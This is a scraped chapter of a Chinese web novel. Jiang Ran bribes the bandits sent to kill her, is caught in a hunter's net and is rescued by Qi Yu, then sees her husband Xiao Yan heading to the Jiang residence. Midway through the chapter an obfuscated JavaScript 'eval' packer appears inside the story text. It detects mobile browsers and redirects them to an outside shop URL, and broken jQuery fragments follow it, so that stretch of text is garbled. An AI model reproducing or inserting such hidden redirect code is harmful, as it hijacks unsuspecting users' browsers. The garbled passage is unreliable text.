默认冷灰
24号文字
方正启体

34. 034

作者:惟有濯枝本书字数:K更新时间:
    “你跑不掉的,受死吧。”


    刀尖抵地,一路掠过沙石,时而碰出零星火花,姜然双手撑地往后退,“你……你们想干什么?”脚步声在耳侧响起,余下的人追上来了。


    匪首:“受人钱财,害你性命!”


    姜然双手暗自抓着沙石,颤声:“我……我也有银子,她……给你们多少,我多加五成。”


    “娘子财大气粗。”他抬起刀尖指向她:“只是贼有贼路,匪有匪道,临阵反水,我们日后在道上还怎么混?”


    姜然泪花盈盈,悍匪不谈银子,讲什么仁义道德!


    她咬牙报数:“我给你们五百两!”


    “大哥!”追上来的几个悍匪喊住他,他猛然停住脚步,带着些暴躁:“作甚?”


    其中一位上前附耳与他私语。


    话刚说完,匪首一把推开他,怒骂:“为了五百两败坏了名声,以后还怎么混?”


    姜然急中生智,喊着:“五百两可以做生意,无须再在刀尖上讨生活!”


    几个小弟看得出自家大哥也有些犹豫,只是他素来要面,嘴上挂着多撺掇几句就能打破的原则。


    “大哥,那可是五百两!”


    匪首用刀指着姜然:“那她如何处置?”


    “绑起来!寻个人牙子发卖到别的州府,多赚一笔银子。”


    匪首:“她若当真拿得出五百两银子,到时给自己赎身又跑回来,岂不是暴露我们蒙骗雇主?”


    一旁的小弟有些无奈:“大哥,我们揣着五百两银子脚底抹油跑了,为何要回京都?”


    姜然趁着他们无暇顾及她,借着夜色和衣摆遮掩,蹲着身子一步一步地往后退。


    匪首:“离开京都,岂不是背井离乡?”


    小弟急得收起刀,合掌与他理论:“咱在京都不过几间破茅草屋,你当是金窝银窝不可弃啊?”他越说,音量越高:“五百两银子,不仅可以金盆洗手不干了,还可以做生意,置办一座像样的宅院,总比吃了上顿没下顿强,你们说是不是?”


    余下的小弟附和着:“是啊,大哥,您考虑考虑,横竖是挣银子,不如挣一笔大的!”


    匪首扬起大刀,把十几米外的姜然吓得身躯一抖,倏忽停住挪步。


    匪首犹豫片刻,嚷嚷着:“可咱们大字不识几个,只会耍大刀,哪能做得了生意?”


    小弟急得跺脚!


    姜然继续挪步,想着这匪首定是占了年岁的便宜才当上了大哥。


    小弟:“大哥,有银子不挣是王八蛋!”


    匪首屈起双指精准弹着他的额心:“胆子肥了不是?敢这么跟大哥说话!”


    小弟吃痛,委屈巴巴皱着脸,用手摸摸额心。


    匪首想了一会儿,决意先把银子拿到手,再烦恼有了银子怎么花的事儿!


    墨云即将掩盖弯月,姜然抓着机会,当即起身逃入密林。


    一边跑一边将叮铃作响的珠翠流苏,白玉环佩用力地扔向另一个方向。


    月色被墨云遮掩密,林里漆黑一片,阵阵虫鸣蛙叫掩盖了姜然的脚步声,几个悍匪一时寻不到她的行踪。


    “兄弟们,分开找!”


    几个悍匪提刀分头找,姜然一边逃跑一边用手扒开半人高的草丛,荆棘勾破她的手指,掌心。


    夜黑行路难,姜然似一只无头乱蹿的蝇虫,不慎踩中了陷阱。


    “啊!”


    惊恐的尖叫响彻在密林里,化作黑夜里的明灯,指引着他们前去寻人。


    猎户布下的罗网捕获了姜然,她用力地试图撕开,来回地晃荡着。


    弯月缓缓从墨云里穿出来,照映着大地。


    “她在那!”


    姜然闻言,焦急地拍打着撕不开的罗网,眸中泛起了泪花。


    “哈哈哈哈哈哈。”


    下方悍匪聚众,抬头嘲笑她,“真是老天助我们!她踩中了猎户的陷阱,这下逃不掉了。”


    匪首扬起大刀,欲斩断麻绳。


    姜然大喊:“等等!”


    “你又想耍什么花招?”


    “我...”姜然嘴巴哆嗦着,话也说不利索,她手腕颤颤地从袖里掏出一张银票,“我...我有五百两。”


    “大哥,她真的有五百两!”


    匪首扬刀指向她,险些在兄弟们面前丢了脸面,带着些怒气,语气粗犷喊着:“你先把银票扔下来。”


    姜然当即把银票扔下来。


    “我...我不会骗人。”她哽咽着,“你们放过我吧。”说完,她嚎啕大哭起来,“我是承安候萧衍的夫人,你们不能杀我。”


    匪首拿着银票借着淡薄的月色细看,却瞧不真切,心烦得很,怒喊着:“别嚎了!”


    一嗓子惊起了林中的飞鸟,震慑了姜然,她当即止住哭声,闭嘴不言。


    泪水沿着她流畅的下颌滴落,等待着未知的命运。


    “大哥,真是五百两!”一个悍匪带着些少年音色朗声喊着:“我从来没见过那么多银子!”


    “大哥,我们要发了!”


    几个悍匪围着匪首欣喜地喊着,他们扯着他的手臂,“大哥,我们这就走,连夜带着家人离开京都!”


    匪首面露喜色,郑重地收起银子。


    “你们放过我。”姜然带着哭腔幽幽地说。


    匪首当即正色地敲打他们的脑袋,训斥着:“一群没出息的东西,这点银子就把你们高兴成这样,传出去,别说我是你们大哥!”


    他们捂着发疼的脑袋,不服气地嘟囔:“您不也没见过这么多银子吗?”


    匪首:“......”


    匪首清了清嗓子,仰头朝姜然喊:“五百两不够,我们要一千两!”


    在他看来,能出得起五百两的主儿,定然有一千两,大胆一些,没准儿能发大财!


    欲壑难填,姜然深谙这个道理,何况那些积蓄是她拼了半条命换来的,绝不能白白拱手让人。


    “好...不过我只带了五百两在身上,其它的...在钱庄。”


    她顿了顿,“须得我亲自去取。”


    几个悍匪一合计,不买姜然的账,嚷嚷着,“我们不会带你回京都,想都别想。”


    姜然又说了几句话拖延时间,地面一阵震动,悍匪觉察不对劲,大喊:“有人来了!”


    “大哥,不会是来找她的吧?”


    姜然扯着嗓子大喊:“我在这里!”


    “我在这里。”


    马蹄声越来越近,匪首捂着胸口处,那是藏着五百两的地方,看了一眼姜然,果断道:“我们走!”


    “大哥,我们不带上她?”


    匪首又拍了他一巴掌,“带你大爷!赶紧走!”


    “我在这里!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997873|191461||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姜然急躁地拍着罗网,温热鲜血沾在上边,她哭着嘶吼着:“救救我!”


    似乎是听到了她连续不断的求救,马蹄声愈发急促地靠近。


    “救救我!”一口风呛进了嗓子眼,发干发痒,姜然剧烈地咳嗽着,晃晃荡荡泪流满脸。


    求救有了回音,姜然得救了。


    ...


    屋里的烛台多添了几盏,如白昼一般明亮,暖黄的烛光宛如夕阳散发着的光芒。


    祁玉送离了大夫,去而复返。


    婢女:“馆主,娘子服了大夫开的安神药汤,已然入睡了。”


    祁玉瞧了一眼在拔步床上安睡的人儿,吩咐:“娘子受了惊,夜里须得多加看顾。”


    房门缓缓关上,祁玉晃开扇子走下木梯,小厮匆匆来报:“馆主,抓住那几个悍匪了!”


    祁玉利落地敛收扇子,眉梢微挑:“走,打探热闹去。”


    ...


    屋里弥漫着浓郁的安神香,姜然猛然坐起,惊喊着:“别杀我!”


    婢女正端着净脸的热水走至门口,闻声忙跨步入内,圆形木盆里的水晃荡,洒出了一些。


    “娘子,您醒了!”


    姜然发丝凌乱,双手撑在两侧,神思渐回,缓缓睁开浮肿的双眼。


    “娘子,奴婢伺候您洗漱。”婢女拧干了娟帕。


    姜然声音低哑:“我...我这是在哪?”


    婢女靠近她一些:“您在月华馆,昨夜是我们祁馆主将您带回来的。”


    姜然拍拍额角,沉思了片刻,终于想起来。


    昨夜她喊得声嘶力竭,几匹快马急促停在罗网的下方,姜然看不清来人,猛然紧缩身子,恐是刚离了狼窝又入了虎坑。


    祁玉缓缓仰头,借着夜色,姜然看清了他的眉眼,失控地嚎哭起来。


    现下想起来,丢人了,丢人了。


    姜然揉揉隐隐发疼的双眼,长舒了一口气。


    罢了,罢了,脸面哪有那么性命重要!


    姜然洗漱完,用了早膳,祁玉来了。


    祁玉递给婢女一个精致小巧的药瓶,月白釉面描着两只嬉戏的小犬,“这是外敷药,回头给娘子细细地抹上。”


    婢女应声退下。


    姜然局促地示以淡淡的笑意。


    祁玉开口:“夫人,抓你的几个悍匪,我关在月华馆的地下仓库里,您要不要见一见?”他从锦绣华服袖里取出一张银票,双指抵着沿着铮亮的桌面推给她,“这是夫人损失的银子。”


    姜然看着那张银票,心中的闷气消了不少,和祁玉商量了一会儿,祁玉命人将几个悍匪送去官府。


    祁玉探问:“夫人,要不要我送您回候府?”


    姜然犹豫了一会儿:“那便劳烦祁馆主了。”


    月华馆的马车缓缓驶在青石板上,时而摇晃,姜然掀起半边车帘,一匹毛色焰红,鬃毛似燃烧的云霞的骏马与马车擦肩而过。


    姜然捏着车帘一角,眸色一沉:“停下!”


    祁玉:“夫人,怎么了?”


    “祁馆主,可否跟上那匹红焰骏马?”


    祁玉掀帘一看,唇角微扬,起身走出马车:“我来驾车!”


    马车停在街角处,姜然脸色沉沉,萧衍匆匆忙忙,竟是前来姜府。


    姜府有谁在?


    姜府有姜可欣。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)